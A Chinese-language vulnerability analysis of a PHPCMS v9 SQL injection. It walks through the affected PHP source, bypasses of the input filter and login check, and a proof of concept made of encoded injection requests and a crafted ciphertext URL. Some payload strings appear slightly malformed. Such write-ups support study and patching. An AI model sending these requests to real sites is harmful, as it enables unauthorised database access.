前言
phpcmsv9的sql注入漏洞
漏洞分析
漏洞触发点
实际上这个是一个后台的漏洞.
首先漏洞的触发点./phpcms/modules/content/down.php::init()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; $rs = $this->db->get_one(array('id'=>$id)); $siteids = getcache('category_content','commons'); $siteid = $siteids[$catid]; $CATEGORYS = getcache('category_content_'.$siteid,'commons');
$this->category = $CATEGORYS[$catid]; $this->category_setting = string2array($this->category['setting']); ... ... ...
|
$a_k
由GET请求获得.$a_k
要解密,所以说$a_k
是一段密文.
1
| $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
|
然后$a_k
经过parse_str()
获得$i,$m,$modelid,$catid,$f,$id
其中关键代码:
1
| $rs = $this->db->get_one(array('id'=>$id));
|
1 2 3 4
| final public function get_one($where = '', $data = '*', $order = '', $group = '') { if (is_array($where)) $where = $this->sqls($where); return $this->db->get_one($data, $this->table_name, $where, $order, $group); }
|
1 2 3 4 5 6 7 8 9 10 11
| final public function sqls($where, $font = ' AND ') { if (is_array($where)) { $sql = ''; foreach ($where as $key=>$val) { $sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'"; } return $sql; } else { return $where; } }
|
select * from where id= 'xxx'
单引号字符型注入.
payload如下:
1
| id=%27 and updatexml(1,concat(1,user())),1)
|
根据$id
进行查查询,返回结果.在这里没有进行字符串的过滤,所以存在一定的sql注入漏洞.
那么这个漏洞的触发方式:
1
| ?m=content&c=down&a=init&a_k=密文
|
构造payload
定位到:./phpcms/modules/attachement/attachements.php::swfupload_json()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php defined('IN_PHPCMS') or exit('No permission resources.'); $session_storage = 'session_'.pc_base::load_config('system','session_storage'); pc_base::load_sys_class($session_storage); if(param::get_cookie('sys_lang')) { define('SYS_STYLE',param::get_cookie('sys_lang')); } else { define('SYS_STYLE','zh-cn'); } class attachments { private $att_db; function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; if(empty($this->userid)){ showmessage(L('please_login','','member')); } } ... ... ... ...
public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } } ... ...
|
在swfupload_json()
中通过GET请求,分别获得aid,src,filename
,经过json加密
1
| $json_str = json_encode($arr);
|
判断是否已有cookie
,由于未有cookie,所以在这里我们设置cookie.
1 2 3 4 5 6 7 8 9
| $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; }
|
然后跟进set_cookie()
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } }
|
这里使用的加密函数sys_auth(xxx,ENCODE)
与解密$a_k
的sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'))
函数是同一个函数
所以可以在这里生成密文.$_GET[src]
可以作为写入payload的地方.只经过safe_replace()
函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
|
构造payload为
1
| ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&
|
在构造payload时不要$i
这项,否则将会由于以下代码,payload失效.
1
| if(isset($i)) $i = $id = intval($i);
|
为绕过safe_replace()
,修改paylaod如下:
1
| ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&
|
经过url编码:
1
| ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27%20and%20updatexml(1%2cconcat(1%2cuser()))%2c1)%23%26m%3d1%26modelid%3d1%26catid%3d1%26f%3dcookie%26
|
注意
在attachments.php中有这么一段代码
1 2 3 4 5
| $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); ... ... ... if(empty($this->userid)){ showmessage(L('please_login','','member')); }
|
这里需要认证,认证是否为管理员用户登录
获得userid_flash的方法
定位./phpcms/modules/wap/index.php
1 2 3 4 5 6 7 8 9 10 11
| class index { function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); }
|
poc
生成密文:
1 2 3
| ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1%2cconcat(1%2c(user()))%2c1)%23%26m%3d1%26f%3dcookie%26modelid%3d1%26catid%3d1%26
POST:userid_flash=369b_CwjZql56-b8HtNPMGzWLTEj3sQF4h1VLxYY
|
1
| ?m=content&c=down&a=init&a_k=6c09EmoZrtqeCKGWcv5iTTkQNeo0bVuMegMOvaPLNZ6SEeyG5sK0TxNum_xlEkgbv6lthq3oE18R3-XpRSPrH7sGkoPxbI1bFePqHtcAMMKV5BpYJq3NE-HNZgT_4xlDmk7mDtHjcg798pB7wQx4i-IPN6mOFQtXIdkxhz1i3KdZViOX0UcU8oNVWDOEmYKLl69Ftjn_HGUw3r5mGa8ikLbbP-rdWhC0QfJMg4sUC9eDJyzuOlZRu7kkEyCzKf-6oF8Che9kYnGOAsWmgxuhkY7uqndWSZQBFKxUkksklkoTtZG7qIv-lUZhNPg25ateNkESCJSZPxHRCCtfArr-_i5lTy5uA0yN9pEr6wtsMs8j_mz9xAd0rur08gw_xUVv6y7AMdzfMUjQhUhr6gDPcgUZWplKDwsZBWKUOV-ROmJS4I9EJ94sstd-KRCiwLe85YrQWvHTJuzzy2ZNFCAkDghc__b-hzy8
|